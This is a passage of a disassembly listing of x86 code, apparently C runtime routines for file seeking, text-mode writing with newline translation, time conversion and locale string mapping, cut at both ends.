		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB358
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8F4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC948
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2650000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CDBC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCD8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCDC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCE0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC700
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB2A8, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2670914h
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC600[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB2A8, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC700
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2670914h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2670914h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB2A8, 1Ch
		mov	dword_4DB2AC, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB37C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB37C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB37C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB37C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB380
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB380, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C970
		mov	edx, dword_43C974
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C900h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C97C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C97C, 83h
